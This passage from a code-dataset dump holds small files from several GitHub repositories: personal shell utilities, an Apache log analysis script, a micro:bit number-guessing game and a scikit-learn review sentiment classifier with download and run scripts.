foot.combine(sucker5)\n leg.combine(foot)\n with open('example2.pickle', mode='wb') as f:\n pickle.dump(leg, f)\n else:\n with open('example2.pickle', mode='rb') as f:\n leg = pickle.load(f)\n\n # leg.draw(ctx)\n\n leg.j_m(6, 7, m=(0, -5))\n\n leg_outline = leg.deepcopy()\n del leg_outline.figure[4:6]\n leg.draw(ctx, width=2.0, color='grass green', fill='on', control='off', number='off')\n leg_outline.draw(ctx, width=2.0, color='bottle green', number='off')\n\n eye = Figure()\n eye.set_ellipse(10, 11, (77, 93))\n eye.rotate(10)\n eye.draw(ctx, color='bottle green', width=2.0, fill='on', control='off', number='off')\n\n mouth = Figure()\n mouth.set_line(65, (105, 77))\n mouth.rotate(45)\n mouth.p_r(0, 0, 1, r=-20).p_r(0, 3, 2, r=10)\n mouth.draw(ctx, width=3.0, color='bottle green', fill='off', control='off', number='off')\n\n surface.finish()\n" } ]
4
mclain98021/FredwareBinTools
https://github.com/mclain98021/FredwareBinTools
c2c2b46da3fcd8011af74539ca56892fcf070463
e920ec648c503438d8175bbd3f5ed6609f5cf63a
fd5fee33532c3818f7b2afe83f41cc98294fb9e9
refs/heads/master
2021-01-10T07:33:03.698831
2016-11-06T16:20:52
2016-11-06T16:20:52
46,075,312
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7297297120094299, "alphanum_fraction": 0.7657657861709595, "avg_line_length": 21.399999618530273, "blob_id": "dccb88f2de3817e5b7ed07c92f64702e69cfd2bd", "content_id": "190148c731d578265113f1359d7b1b71536b3d1a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 111, "license_type": "no_license", "max_line_length": 54, "num_lines": 5, "path": "/brpwizard", "repo_name": "mclain98021/FredwareBinTools", "src_encoding": "UTF-8", "text": "#!/usr/local/bin/python\n\nfrom os.path import expanduser\n\nexecfile(expanduser('~/python/evm2003/brp/wizard.py'))" }, { "alpha_fraction": 0.6854838728904724, "alphanum_fraction": 0.7580645084381104, "avg_line_length": 40.33333206176758, "blob_id": "7586ef048489725ba0d10c0d417130c31dc2af53", "content_id": "1df634afdd5194f600dc047c415549846eef2223", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 248, "license_type": "no_license", "max_line_length": 87, "num_lines": 6, "path": "/jdiskreport", "repo_name": "mclain98021/FredwareBinTools", "src_encoding": "UTF-8", "text": "#!/bin/sh\nexport JAVA_HOME=/opt/jdk1.5.0\nexport PATH=$JAVA_HOME/bin:$PATH\n#cd /home/mclain/download/jgoodies/jdiskreport-1.2.1\njava -Xmx256M -jar /home/fred/download/jgoodies/jdiskreport-1.2.1/jdiskreport-1.2.1.jar\n#java -jar jdiskreport-1.2.1.jar\n" }, { "alpha_fraction": 0.6200000047683716, "alphanum_fraction": 0.6200000047683716, "avg_line_length": 49, "blob_id": "8ebd9923a8f6867f2b246eb66b95ab776f382a8e", "content_id": "217a3f0aaecf197f9037c7c70aab43f466b25ae1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 50, "license_type": "no_license", "max_line_length": 49, "num_lines": 1, "path": "/one_line_script.sh", "repo_name": "mclain98021/FredwareBinTools", "src_encoding": "UTF-8", "text": "perl -npe 's/\\n/\\;/g' < /etc/cron.hourly/setiping\n" }, { "alpha_fraction": 0.6756756901741028, "alphanum_fraction": 0.7162162065505981, "avg_line_length": 23.66666603088379, "blob_id": "c115e4bce987d76cbefaebffe18d3fb2c09508fa", "content_id": "650d3eedd0b9872f0f114a08aa8e343402260964", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 74, "license_type": "no_license", "max_line_length": 32, "num_lines": 3, "path": "/jdk15", "repo_name": "mclain98021/FredwareBinTools", "src_encoding": "UTF-8", "text": "#!/bin/sh\nexport JAVA_HOME=/opt/jdk1.5.0\nexport PATH=$JAVA_HOME/bin:$PATH\n" }, { "alpha_fraction": 0.621260941028595, "alphanum_fraction": 0.6579229831695557, "avg_line_length": 36.68207931518555, "blob_id": "0be210a327a254cf8c21021a33342dd9b8858f57", "content_id": "9b2f1f349050d8d6c932a1597c3a60932104ac17", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6519, "license_type": "no_license", "max_line_length": 219, "num_lines": 173, "path": "/Amazon_log_analizer/ApacheLogParse.py", "repo_name": "mclain98021/FredwareBinTools", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n''' \nApache log analysis script for Amazon Code challenge.\nJuly 2nd 2016 by Fred McLain.\nCopyright (C) 2016 Fred McLain, all rights reserved.\n\nhigh level language of your choice (e.g. Python/Ruby/Perl)\n\nThe right fit language appears to be Python, so I'm going with that even though I'm a Java developer.\n\nrequired:\n* Top 10 requested pages and the number of requests made for each\n* Percentage of successful requests (anything in the 200s and 300s range)\n* Percentage of unsuccessful requests (anything that is not in the 200s or 300s range)\n* Top 10 unsuccessful page requests\n* The top 10 IPs making the most requests, displaying the IP address and number of requests made.\n* Option parsing to produce only the report for one of the previous points (e.g. only the top 10 urls, only the percentage of successful requests and so on)\n* A README file explaining how to use the tool, what its dependencies and any assumptions you made while writing it\n\noptional:\n* Unit tests for your code.\n* The total number of requests made every minute in the entire time period covered by the file provided.\n* For each of the top 10 IPs, show the top 5 pages requested and the number of requests for each.\n\nAssumptions:\n* Statistics for the number of pages and requesting IPs does not exceed available memory.\n* Log file lines are of a uniform format\n* Log records are in time order\n\nSample log lines:\n10.0.68.207 - - [31/Oct/1994:14:00:17 +0000] \"POST /finance/request.php?id=39319 HTTP/1.1\" 200 56193\n10.0.173.204 - - [31/Oct/1994:14:00:20 +0000] \"GET /kernel/get.php?name=ndCLVHvbDM HTTP/1.1\" 403 759\n\nRecords are new line separated.\n\nFields in record are whitespace separated:\n IP - - [timestamp] \"request path status ?\n'''\nfrom __future__ import division\nimport sys\nfrom optparse import OptionParser\n\nparser = OptionParser()\nparser.add_option(\"-f\", \"--file\", dest=\"fileName\", help=\"file to parse, default=%default\", metavar=\"FILE\", default=\"apache.log\")\nparser.add_option(\"-a\", \"--reportAll\", action=\"store_true\", dest=\"reportAll\", help=\"show all reports\", default=False)\nparser.add_option(\"-t\", \"--top10\", action=\"store_true\", dest=\"reportTop10\", help=\"Top 10 requested pages and the number of requests made for each\", default=False)\nparser.add_option(\"-s\", \"--success\", action=\"store_true\", dest=\"reportSucccessPercentReq\", help=\"Percentage of successful requests (anything in the 200s and 300s range)\", default=False)\nparser.add_option(\"-u\", \"--unsuccess\", action=\"store_true\", dest=\"reportUnsucccessPercentReq\", help=\"Percentage of unsuccessful requests (anything that is not in the 200s or 300s range)\", default=False)\nparser.add_option(\"-r\", \"--top10Unsuccess\", action=\"store_true\", dest=\"reportTop10Unsuccess\", help=\"Top 10 unsuccessful page requests\", default=False)\nparser.add_option(\"-i\", \"--top10IpPages\", action=\"store_true\", dest=\"reportTop10IpPages\", help=\"The top 10 IPs making the most requests, displaying the IP address and number of requests made\", default=False)\n#parser.add_option(\"-m\", \"--numReqPerMinute\", action=\"store_true\", dest=\"reportReqPerMinute\", help=\"The total number of requests made every minute in the entire time period covered by the file provided.\", default=False)\n\n(options, args) = parser.parse_args()\n\n# accumulators for report stats\n#totalRequests = 0\n#requestMap = 0\n#successCount = 0\n#failCount = 0\nerrorList = []\n\ntotalPages = {}\nfailPages = {}\nsuccessPages = {}\nipPages={}\n\ndef analizeFile(fileName):\n print \"Parsing file:\", fileName\n try:\n f = open(fileName)\n except IOError:\n errorList.append(\"Can not read \" + fileName)\n return\n lineno = 0\n for line in f:\n lineno += 1\n try:\n analizeLine(line)\n except:\n errorList.append(\"Error in \" + fileName + \" on line \" + str(lineno))\n return\n\ndef analizeLine(logLine):\n '''\n Fields in record are whitespace separated:\n IP - - [timestamp] \"request path status ?\n '''\n# print logLine\n r = logLine.split()\n #print r\n '''\n 0 = IP 3 = timestamp 4 = TZ 5 = method 6 = page 7 = protocol 8 = status 9 = ?\n ['10.0.16.208', '-', '-', '[31/Oct/1994:23:59:50', '+0000]', '\"GET', '/finance/list.php?value=60549', 'HTTP/1.0\"', '404', '1595']\n '''\n ip = r[0]\n timestamp = r[3].lstrip('[')\n #timestamp = time.strptime(r[3].lstrip('['),\"%d/%b/%Y:%H:%M:%S\")\n method = r[5].lstrip('\"')\n #page = r[6].split(\"?\")[0]\n page = r[6]\n stat = int(r[8])\n \n if page in totalPages:\n totalPages[page] = totalPages[page] + 1\n else:\n totalPages.update({page:1})\n \n if ip in ipPages:\n ipPages[ip] = ipPages[ip] +1\n else:\n ipPages.update({ip:1})\n \n if (stat >= 200) and (stat < 400):\n # success\n if page in successPages:\n successPages[page] = successPages[page] + 1\n else:\n successPages.update({page:1})\n else:\n # failure\n if page in failPages:\n failPages[page] = failPages[page] + 1\n else:\n failPages.update({page:1})\n \n return\n\ndef reportTop10(dict):\n s=sorted(dict,key=dict.__getitem__,reverse=True)\n i = 1\n for k in s:\n print i,k,dict[k]\n if i == 10:\n break\n i += 1\n\ndef report():\n if options.reportAll or options.reportTop10:\n print \"Most requested pages:\"\n reportTop10(totalPages)\n ''' not in spec but useful?\n print \"Most successful pages (page, count):\"\n reportTop10(successPages)\n '''\n if options.reportAll or options.reportSucccessPercentReq:\n # print len(successPages),\"/\",len(totalPages),len(failPages)\n print \"Percentage of successful requests: \",str(len(successPages)/len(totalPages)*100.),\"%\"\n \n if options.reportAll or options.reportUnsucccessPercentReq:\n print \"Most failed pages (page, count):\"\n reportTop10(failPages)\n \n if options.reportAll or options.reportTop10IpPages:\n print \"The top 10 IPs making the most requests, (IP, count)\"\n reportTop10(ipPages)\n return\n\ndef usage():\n parser.print_help()\n exit(-1)\n return\n\ndef go():\n print \"Apache log file parser demonstration by Fred McLain, July 2nd 2016\"\n if 1 == len(sys.argv):\n usage() # require command line arguments or show usage and bail out\n analizeFile(options.fileName)\n report()\n if len(errorList) > 0:\n print \"Errors in input\",errorList\n return \n\ngo()\n" }, { "alpha_fraction": 0.5645330548286438, "alphanum_fraction": 0.5886673927307129, "avg_line_length": 23.435897827148438, "blob_id": "28294f123a58d9440825473d827c25647da6ead7", "content_id": "1ae71ea6a762b22cb572ecd7934d3b3153aa8cf4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 953, "license_type": "no_license", "max_line_length": 64, "num_lines": 39, "path": "/check_net", "repo_name": "mclain98021/FredwareBinTools", "src_encoding": "UTF-8", "text": "#!/bin/bash\n#\n# Periodically check internet connection status\n#\n# Copyright 2015 by Fred McLain\n# You are free to use modify or delete this silly little script.\n#\n# This software is licensed under the Apache License version 2.0\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Configuration values\noutsidePing='google.com'\ngateway='192.168.1.1'\ndelay=10\n\n# main\necho Fredware $0 starting `date`\necho Gateway = $gateway Outside host = $outsidePing\nwhile [ true ]; do\n\tping -c 2 $outsidePing >& /dev/null\n\tstatus=$?\n\tif [[ $status != $last_status ]]; then\n\t\tlast_status=$status\n\t\tif [ $status = 0 ]; then\n\t\t\techo -n \"Net is up \u0007\"\n\t\telse\n\t\t\techo -n \"Net is down \u0007\"\n\t\tfi\n ping -c 1 $gateway >& /dev/null\n modemStat=$?\n if [ $modemStat != 0 ]; then\n echo -n \"Gateway is down \"\n else\n echo -n \"Gateway is up \"\n fi\n\t\tdate\n\tfi\n\tsleep $delay\ndone\n" }, { "alpha_fraction": 0.6859503984451294, "alphanum_fraction": 0.6859503984451294, "avg_line_length": 14.125, "blob_id": "0c01738cfa187df0122bfe87bea2b7456072636c", "content_id": "8fc037b53a682d79f6be7ce846cc0c019e22cda6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 121, "license_type": "no_license", "max_line_length": 35, "num_lines": 8, "path": "/build_fortune", "repo_name": "mclain98021/FredwareBinTools", "src_encoding": "UTF-8", "text": "#!/bin/sh\n#\n# Create a fortune index (strfile).\n# Possibly usable by others.\n#\npushd ~/lib\nstrfile -r ~/lib/fortune\npopd\n" }, { "alpha_fraction": 0.7200000286102295, "alphanum_fraction": 0.753333330154419, "avg_line_length": 74, "blob_id": "f5e12be298998ae2efbb09c0ecf752b3583b7015", "content_id": "428f79e85eb9bdbbe91d7509f38bd4038ea7ddff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 150, "license_type": "no_license", "max_line_length": 139, "num_lines": 2, "path": "/mount_st_hellens", "repo_name": "mclain98021/FredwareBinTools", "src_encoding": "UTF-8", "text": "#!/bin/sh\nwatch wget -r --interval=300 http://www.fs.fed.us/gpnf/volcanocams/msh/images/mshvolcanocam.jpg /home/mclain/pics/mount_st_hellens.jpg 1>&2\n" }, { "alpha_fraction": 0.6383647918701172, "alphanum_fraction": 0.6918238997459412, "avg_line_length": 44.42856979370117, "blob_id": "41982a59b4fa924cffeafccf5b4efd879b13ec55", "content_id": "cb66fe5e43dd4e2ddcd03cc73c945c5b24249fe2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 318, "license_type": "no_license", "max_line_length": 81, "num_lines": 7, "path": "/clean_tmp", "repo_name": "mclain98021/FredwareBinTools", "src_encoding": "UTF-8", "text": "#!/bin/sh\n# 2007-08-18 Fred McLain\n# Remove users temporary files from /tmp and ~/tmp if unaccessed for over 2 weeks\nfind /tmp -type f -user $USER -atime -15 -delete\nfind /tmp -type d -user $USER -atime -15 -delete\nfind $HOME/tmp -type f -user $USER -atime -15 -delete\nfind $HOME/tmp -type d -user $USER -atime -15 -delete\n" }, { "alpha_fraction": 0.6363636255264282, "alphanum_fraction": 0.6767676472663879, "avg_line_length": 15.5, "blob_id": "9ad55f078129523a09cdc7d3af4753052de014e8", "content_id": "c535d7c476dc87b0438dd69a374a455a0697763c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 99, "license_type": "no_license", "max_line_length": 37, "num_lines": 6, "path": "/wakeup_mybook", "repo_name": "mclain98021/FredwareBinTools", "src_encoding": "UTF-8", "text": "#!/bin/sh\nwhile date > /Volumes/My\\ Book/wakeup\ndo\n\tsleep 120\ndone\necho \"$0 exited with error $?!\"\n" }, { "alpha_fraction": 0.7161571979522705, "alphanum_fraction": 0.7423580884933472, "avg_line_length": 31.714284896850586, "blob_id": "37db1fc706bfc8efedab687efd6d11762038868c", "content_id": "49d6ab90bf5cec331dc173f3bdfc707a236300fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 229, "license_type": "no_license", "max_line_length": 71, "num_lines": 7, "path": "/ruby_eval", "repo_name": "mclain98021/FredwareBinTools", "src_encoding": "UTF-8", "text": "#!/bin/sh\n# 23 September 2006 Fred McLain\n#\n# Runs the ruby eval script\n# mostly here as a placeholder so I can find it again\n# Note: irb works better then eval.\nruby /usr/share/doc/packages/ruby/ruby-doc-bundle/UsersGuide/rg/eval.rb\n" }, { "alpha_fraction": 0.6492146849632263, "alphanum_fraction": 0.6596858501434326, "avg_line_length": 30.83333396911621, "blob_id": "f76426d4dea598439c1747e63a6c008aa6df3211", "content_id": "326e8a5216209ae05ffd0eca66e6169ec2a76500", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 191, "license_type": "no_license", "max_line_length": 101, "num_lines": 6, "path": "/showdesktop", "repo_name": "mclain98021/FredwareBinTools", "src_encoding": "UTF-8", "text": "#!/bin/sh\n#\n# Toggle the show desktop kicker special action\n#\nACTION=$(dcop kicker qt objects | grep ShowDesktop | head -n 1 | sed \"s#(# #g\" | awk '{ print $1; }')\ndcop kicker $ACTION toggle\n" }, { "alpha_fraction": 0.6521739363670349, "alphanum_fraction": 0.695652186870575, "avg_line_length": 22, "blob_id": "0d5498c872cfbbdf57e33c42df43526032d6e288", "content_id": "2e948d1b9fafa98dbe99db4b3f4b011195334c60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 46, "license_type": "no_license", "max_line_length": 35, "num_lines": 2, "path": "/ecco", "repo_name": "mclain98021/FredwareBinTools", "src_encoding": "UTF-8", "text": "#!/bin/sh\nwine 'c:\\program files\\ecco\\ecco32'\n" }, { "alpha_fraction": 0.6617646813392639, "alphanum_fraction": 0.6638655662536621, "avg_line_length": 30.733333587646484, "blob_id": "88d28d70353260e4412a9a2004541b7f0e26b1bf", "content_id": "cae78de7455269f922e8e3e963be0b186f95156b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 476, "license_type": "no_license", "max_line_length": 79, "num_lines": 15, "path": "/evolution_sig", "repo_name": "mclain98021/FredwareBinTools", "src_encoding": "UTF-8", "text": "#!/bin/sh\n# Update my signature for my evolution installation.\n#\nsigfile=$HOME/.evolution/signatures/signature-3\n#pushd /home/fred/.evolution/signatures > /dev/null\necho '* Old Evolution sig:'\ncat $sigfile\necho > $sigfile\n/opt/local/bin/fortune ~/lib | fold -s > $sigfile\necho '----' >> $sigfile\n#echo 'My confused blog http://unreliableinformation.blogspot.com/' >> $sigfile\necho \"=================================\"\necho '* New Evolution sig:'\ncat $sigfile\n#popd > /dev/null\n" }, { "alpha_fraction": 0.569017767906189, "alphanum_fraction": 0.6209433078765869, "avg_line_length": 27.182926177978516, "blob_id": "ebd5de88a5998abdcf85b13ccbd74104cc820b4a", "content_id": "3d277869d9c106badcc4adcd1b4017a7a747d2b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 2311, "license_type": "no_license", "max_line_length": 63, "num_lines": 82, "path": "/3ddeskfx", "repo_name": "mclain98021/FredwareBinTools", "src_encoding": "UTF-8", "text": "#!/bin/sh\n\n### 3D-Desktop FX by [SoD]Sgt-D (sgt-d@planetquake.com)\n\n### SERVER & SETTINGS\n\nif [ ! -f ~/.3ddesktop/pid ]; then\n echo Starting 3D-Desktop Server...\n 3ddeskd --acquire --ewmh # kde3, gnome2\n # 3ddeskd --acquire --kde2 # kde2\n # 3ddeskd --workspaces # gnome\nfi\n\n### MODE SECTION\n\nif [ $1 = 'mode' ]; then\n echo Mode\n if [ ! $2 ] ; then\n DVIEWS=6 ; view=$RANDOM ; let \"view %= $DVIEWS\"\n else\n view=$2\n fi\n case \"$view\" in\n 0) echo Carousel ; 3ddesk --mode=carousel ;;\n 1) echo PriceIsRight ; 3ddesk --mode=priceisright ;;\n 2) echo Cylinder ; 3ddesk --mode=cylinder ;;\n 3) echo ViewMaster ; 3ddesk --mode=viewmaster ;;\n 4) echo Flip ; 3ddesk --mode=flip ;;\n 5) echo Linear ; 3ddesk --mode=linear ;;\n *)\n esac\n \n### VIEW1 SECTION\n\nelif [ $1 = 'view1' ]; then\n echo View1\n if [ ! $2 ] ; then\n DVIEWS=10 ; view=$RANDOM ; let \"view %= $DVIEWS\"\n else\n view=$2\n fi\n case \"$view\" in\n 0) echo Default ; 3ddesk --view=default ;;\n 1) echo Pan Right ; 3ddesk --view=goright ;;\n 2) echo Pan Left ; 3ddesk --view=goleft ;;\n 3) echo Slide ; 3ddesk --view=slide ;;\n 4) echo ViewMaster ; 3ddesk --view=nozoom ;;\n 5) echo Linear ; 3ddesk --view=linear ;;\n 6) echo Linear Zip ; 3ddesk --view=linearzip ;;\n 7) echo Big Money ; 3ddesk --view=bigmoney ;;\n 8) echo Linear '(No Zoom)' ; 3ddesk --mode=linear --nozoom ;;\n 9) echo [SoD]Sgt-D ; 3ddesk --mode=flip use_breathing true ;;\n *)\n esac\n \n### VIEW2 SECTION\n\nelif [ $1 = 'view2' ]; then\n echo View2\n if [ ! $2 ] ; then\n DVIEWS=14 ; view=$RANDOM ; let \"view %= $DVIEWS\"\n else\n view=$2\n fi\n case \"$view\" in\n 0) echo Carousel1 ; 3ddesk --view=carousel1 ;;\n 1) echo Carousel2 ; 3ddesk --view=carousel2 ;;\n 2) echo Carousel3 ; 3ddesk --view=carousel3 ;;\n 3) echo Cylinder1 ; 3ddesk --view=cylinder1 ;;\n 4) echo Cylinder2 ; 3ddesk --view=cylinder2 ;;\n 5) echo Cylinder3 ; 3ddesk --view=cylinder3 ;;\n 6) echo PriceIsRight1 ; 3ddesk --view=priceisright1 ;;\n 7) echo PriceIsRight2 ; 3ddesk --view=priceisright2 ;;\n 8) echo PriceIsRight3 ; 3ddesk --view=priceisright3 ;;\n 9) echo Linear1 ; 3ddesk --view=linear1 ;;\n 10) echo Linear2 ; 3ddesk --view=linear2 ;;\n 11) echo ViewMaster1 ; 3ddesk --view=viewmaster1 ;;\n 12) echo ViewMaster2 ; 3ddesk --view=viewmaster2 ;;\n 13) echo Flip ; 3ddesk --view=flip ;;\n *)\n esac\nfi\n" } ]
15
J4ME5s/guess-the-number
https://github.com/J4ME5s/guess-the-number
1ba4a2f03f4cf8cba5db13712156e70f6deec1f9
56a4bd57fa54ae2089e86a02f3df06de594522e7
e7f5fa914c743d30379ca7dfed0d2685c341d144
refs/heads/master
2023-02-10T08:19:53.700722
2021-01-11T14:21:32
2021-01-11T14:21:32
328,688,049
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7184466123580933, "alphanum_fraction": 0.7475728392601013, "avg_line_length": 40.20000076293945, "blob_id": "8dd811a50d54b940855a27ae08173d11b87a0465", "content_id": "6013178268125478b28e038b0c76ffb2f924c9ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 206, "license_type": "no_license", "max_line_length": 54, "num_lines": 5, "path": "/main.py", "repo_name": "J4ME5s/guess-the-number", "src_encoding": "UTF-8", "text": "basic.show_string(\"Think of a number between 1 to 10\")\nbasic.show_string(\"Input your answer here\")\ninput.button_is_pressed(Button.A)\nbasic.show_string(\"The answer was...\")\nbasic.show_number(randint(1, 10))\n" }, { "alpha_fraction": 0.7400000095367432, "alphanum_fraction": 0.7699999809265137, "avg_line_length": 39, "blob_id": "6254a6d3ea920dc61cd2e683ca8ae3ce4d2bd0a0", "content_id": "335f439fb963d0a4ae051fb7745db14970fd2da1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 200, "license_type": "no_license", "max_line_length": 53, "num_lines": 5, "path": "/main.ts", "repo_name": "J4ME5s/guess-the-number", "src_encoding": "UTF-8", "text": "basic.showString(\"Think of a number between 1 to 10\")\nbasic.showString(\"Input your answer here\")\ninput.buttonIsPressed(Button.A)\nbasic.showString(\"The answer was...\")\nbasic.showNumber(randint(1, 10))\n" } ]
2
prakharg24/review_classifier_non_neural
https://github.com/prakharg24/review_classifier_non_neural
6e296ec238a1ed75ecc9e0fa79b2ef7c3ff4df8b
426bf839c01f7b25f81847d39870d7c789655ed4
8d12f6066cb33b34cd9c5c46f87818d6707313bc
refs/heads/master
2021-09-11T19:25:01.793358
2018-04-11T13:14:21
2018-04-11T13:14:21
123,336,250
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8311688303947449, "alphanum_fraction": 0.8311688303947449, "avg_line_length": 24.66666603088379, "blob_id": "58c1a372dcb6b0953a61ca7e2a88f79c791fdc4e", "content_id": "6c132e0e03b69c9f26e4d708da119337bc0623cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 77, "license_type": "no_license", "max_line_length": 55, "num_lines": 3, "path": "/README.md", "repo_name": "prakharg24/review_classifier_non_neural", "src_encoding": "UTF-8", "text": "# review_classifier\n\nNon-Neural Implementation of Review Sentiment Analysis.\n" }, { "alpha_fraction": 0.75, "alphanum_fraction": 0.7601351141929626, "avg_line_length": 96.66666412353516, "blob_id": "d4a2f910aa983e453846283f7cf2561d9b8e40a7", "content_id": "21c8ff7f895073cac58250e6046870629c7e8439", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 296, "license_type": "no_license", "max_line_length": 98, "num_lines": 3, "path": "/compile.sh", "repo_name": "prakharg24/review_classifier_non_neural", "src_encoding": "UTF-8", "text": "wget \"https://owncloud.iitd.ac.in/owncloud/index.php/s/zFSywmeZoyLqpsK/download\" -O \"vect_uni.pkl\"\r\nwget \"https://owncloud.iitd.ac.in/owncloud/index.php/s/SdFmdaoMAPKWQZF/download\" -O \"vect_bi.pkl\"\r\nwget \"https://owncloud.iitd.ac.in/owncloud/index.php/s/pmrtRZFd45C4TSs/download\" -O \"model.pkl\"\r\n" }, { "alpha_fraction": 0.5909090638160706, "alphanum_fraction": 0.7272727489471436, "avg_line_length": 22, "blob_id": "ee1973cf5fa5550a72c98bb844512621ebd977c7", "content_id": "660273f7139add6176fb9ae1e15fde9f33daa52b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 22, "license_type": "no_license", "max_line_length": 22, "num_lines": 1, "path": "/run.sh", "repo_name": "prakharg24/review_classifier_non_neural", "src_encoding": "UTF-8", "text": "python3 final.py $1 $2" }, { "alpha_fraction": 0.573913037776947, "alphanum_fraction": 0.5855072736740112, "avg_line_length": 22.08527183532715, "blob_id": "422c2c87b00c5a156eb1c4f992fd6d7997b42aa1", "content_id": "0e105874bf004de7a353c48ebb3d2471cd44c102", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3105, "license_type": "no_license", "max_line_length": 59, "num_lines": 129, "path": "/final.py", "repo_name": "prakharg24/review_classifier_non_neural", "src_encoding": "UTF-8", "text": "import json\r\nimport codecs\r\nimport random\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\nfrom nltk.stem.snowball import SnowballStemmer\r\nfrom sklearn.naive_bayes import MultinomialNB\r\nimport numpy as np\r\nfrom sklearn import metrics\r\nimport numpy as np\r\nfrom sklearn import svm\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\nfrom scipy.sparse import hstack\r\nfrom nltk.tokenize import RegexpTokenizer\r\nimport pickle\r\nimport sys\r\n\r\ndef getclassmore(a):\r\n if a>3: return a-2\r\n elif a<3: return 0\r\n else: return 1\r\n\r\ndef getclass(a):\r\n if a>3:\r\n return 2\r\n elif a<3:\r\n return 0\r\n else:\r\n return 1\r\n\r\ndef allupper(word):\r\n for c in word:\r\n if not(c.isupper()):\r\n return False\r\n return True\r\n \r\ndef cleandoc(doc):\r\n global imp\r\n unclean = doc.split()\r\n words = []\r\n for word in unclean:\r\n if len(word)>2:\r\n words.append(word)\r\n if word in imp:\r\n for i in range(0, 3):\r\n words.append(word)\r\n lng = len(words)\r\n for i in range(0, lng):\r\n word = words[i]\r\n if allupper(word):\r\n words.append(word)\r\n if word==\"not\":\r\n for j in range(1, 5):\r\n if(i+j<lng):\r\n words[i+j]=\"NOT_\" + words[i+j]\r\n lower_words = [word.lower() for word in words]\r\n return ' '.join(lower_words)\r\n\r\nprint(\"Reading side files\")\r\nimp = set()\r\n\r\nfile = open('adjectives.txt', 'r')\r\nfor adj_en in file.readlines():\r\n imp.add(adj_en.split()[0])\r\n\r\nfile = open('adverbs.txt', 'r')\r\nfor adj_en in file.readlines():\r\n imp.add(adj_en.split()[0])\r\n\r\nfile = open('verbs.txt', 'r')\r\nfor adj_en in file.readlines():\r\n imp.add(adj_en.split()[0])\r\n\r\n\r\nprint(\"Reading test json file\")\r\ntest_data = []\r\ntest_it = 0\r\nwith codecs.open(sys.argv[1],'rU','utf-8') as f:\r\n\tfor line in f:\r\n\t\ttest_it = test_it + 1\r\n\t\ttest_data.append(json.loads(line))\r\n\r\nprint(\"Cleaning test sentences\")\r\n\r\ntest_sentences = []\r\nend = test_it\r\ni = 0\r\nwhile(i<end):\r\n sent = test_data[i]['reviewText']\r\n temp = \"\"\r\n for j in range(0, 3):\r\n temp = temp + test_data[i]['summary']\r\n sent = sent + temp\r\n test_sentences.append(cleandoc(sent))\r\n i = i+1\r\n\r\nwith open('vect_uni.pkl', 'rb') as f:\r\n vect_uni = pickle.load(f)\r\n\r\nwith open('vect_bi.pkl', 'rb') as f:\r\n vect_bi = pickle.load(f)\r\n\r\nprint(\"Making Test matrix - Unigrams\")\r\ntest_matrix_uni = vect_uni.transform(test_sentences)\r\n\r\nprint(\"Making Test matrix - Unigrams\")\r\ntest_matrix_bi = vect_bi.transform(test_sentences)\r\n\r\ntest_matrix = hstack((test_matrix_uni, test_matrix_bi))\r\n\r\nprint(\"Predicting\")\r\nwith open('model.pkl', 'rb') as f:\r\n model = pickle.load(f)\r\ny_pred = model.predict(test_matrix)\r\ny_pred_class = []\r\nfor ele in y_pred:\r\n if(ele==3):\r\n y_pred_class.append(2)\r\n else:\r\n y_pred_class.append(ele)\r\n\r\n\r\nfile = open(sys.argv[2],'w')\r\nfor ele in y_pred_class:\r\n if(ele==0):\r\n file.write(\"1\\n\")\r\n elif(ele==1):\r\n file.write(\"3\\n\")\r\n elif(ele==2):\r\n file.write(\"5\\n\")" } ]
4
Powercoders-International/ft-web-dev
https://github.com/Powercoders-International/ft-web-dev
89ad6c54a2d8b6312f3b3c75ac7dfb7a53330a9e
219fe87544914d67cf6d35a5604359eeb6087f61
c91deb5b5d7079f14adf5d3c27f6ed9d999c5fc1
refs/heads/main
2023-06-11T15:18:50.430438
2021-06-29T15:50:44
2021-06-29T15:50:44
381,419,814
0
0
null
null
null
null
null
